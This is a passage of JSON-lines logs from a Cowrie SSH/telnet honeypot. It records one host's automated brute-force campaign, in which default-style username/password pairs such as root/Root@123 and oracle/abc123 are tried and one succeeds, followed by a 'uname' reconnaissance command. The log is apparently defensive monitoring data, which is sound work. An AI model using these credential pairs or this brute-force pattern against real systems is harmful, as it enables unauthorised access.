"ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:42.501425Z","src_ip":"176.65.132.129","session":"7efdc8e361a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:42.818169Z","src_ip":"176.65.132.129","session":"7efdc8e361a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:43.905005Z","src_ip":"176.65.132.129","session":"7efdc8e361a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47248,"dst_ip":"159.203.135.109","dst_port":22,"session":"e382e49ceadc","protocol":"ssh","message":"New connection: 176.65.132.129:47248 (159.203.135.109:22) [session: e382e49ceadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:46.048240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:46.052482Z","src_ip":"176.65.132.129","session":"e382e49ceadc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:46.135719Z","src_ip":"176.65.132.129","session":"e382e49ceadc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:46.383525Z","src_ip":"176.65.132.129","session":"e382e49ceadc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:47.470020Z","src_ip":"176.65.132.129","session":"e382e49ceadc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47256,"dst_ip":"159.203.135.109","dst_port":22,"session":"134a05c6c463","protocol":"ssh","message":"New connection: 176.65.132.129:47256 (159.203.135.109:22) [session: 134a05c6c463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:49.451021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:49.455427Z","src_ip":"176.65.132.129","session":"134a05c6c463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:49.538668Z","src_ip":"176.65.132.129","session":"134a05c6c463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:49.784474Z","src_ip":"176.65.132.129","session":"134a05c6c463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53536,"dst_ip":"10.17.0.5","dst_port":23,"session":"158708c7ac63","protocol":"telnet","message":"New connection: 45.58.127.90:53536 (10.17.0.5:23) [session: 158708c7ac63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:50.055475Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:50.908610Z","src_ip":"176.65.132.129","session":"134a05c6c463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.617162466049194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:52.734041Z","src_ip":"45.58.127.90","session":"5e4c2100b783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47276,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f6b2de83ed","protocol":"ssh","message":"New connection: 176.65.132.129:47276 (159.203.135.109:22) [session: 96f6b2de83ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:52.886652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:52.890637Z","src_ip":"176.65.132.129","session":"96f6b2de83ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:52.971208Z","src_ip":"176.65.132.129","session":"96f6b2de83ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:53.434068Z","src_ip":"176.65.132.129","session":"96f6b2de83ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.148558616638184,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:53.463191Z","src_ip":"45.58.127.90","session":"a29e5415b73a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:54.517958Z","src_ip":"176.65.132.129","session":"96f6b2de83ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44104,"dst_ip":"159.203.135.109","dst_port":22,"session":"d39b0048ee80","protocol":"ssh","message":"New connection: 176.65.132.129:44104 (159.203.135.109:22) [session: d39b0048ee80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:56.510794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:56.520232Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:56.601830Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:56.847878Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:57.052801Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:57.056753Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:57.142176Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:57.146808Z","src_ip":"176.65.132.129","session":"d39b0048ee80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44120,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47b8de1428a","protocol":"ssh","message":"New connection: 176.65.132.129:44120 (159.203.135.109:22) [session: a47b8de1428a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:59.887752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:59.893865Z","src_ip":"176.65.132.129","session":"a47b8de1428a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:59.977123Z","src_ip":"176.65.132.129","session":"a47b8de1428a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:00.242510Z","src_ip":"176.65.132.129","session":"a47b8de1428a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:01.330241Z","src_ip":"176.65.132.129","session":"a47b8de1428a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44126,"dst_ip":"159.203.135.109","dst_port":22,"session":"6214956d5b51","protocol":"ssh","message":"New connection: 176.65.132.129:44126 (159.203.135.109:22) [session: 6214956d5b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:03.418789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:03.516675Z","src_ip":"176.65.132.129","session":"6214956d5b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:03.602250Z","src_ip":"176.65.132.129","session":"6214956d5b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:03.863008Z","src_ip":"176.65.132.129","session":"6214956d5b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:04.949066Z","src_ip":"176.65.132.129","session":"6214956d5b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38932,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c629e98bdf5","protocol":"telnet","message":"New connection: 45.58.127.90:38932 (10.17.0.5:23) [session: 5c629e98bdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:05.142568Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49250,"dst_ip":"159.203.135.109","dst_port":22,"session":"331553c6064f","protocol":"ssh","message":"New connection: 176.65.132.129:49250 (159.203.135.109:22) [session: 331553c6064f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:06.816384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:06.821392Z","src_ip":"176.65.132.129","session":"331553c6064f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:06.903507Z","src_ip":"176.65.132.129","session":"331553c6064f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:07.149427Z","src_ip":"176.65.132.129","session":"331553c6064f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.02082276344299,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:07.819010Z","src_ip":"45.58.127.90","session":"1a6f9500621f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:08.245855Z","src_ip":"176.65.132.129","session":"331553c6064f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49266,"dst_ip":"159.203.135.109","dst_port":22,"session":"e24878bf765d","protocol":"ssh","message":"New connection: 176.65.132.129:49266 (159.203.135.109:22) [session: e24878bf765d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:10.148541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:10.153127Z","src_ip":"176.65.132.129","session":"e24878bf765d","protocol":"ssh"}
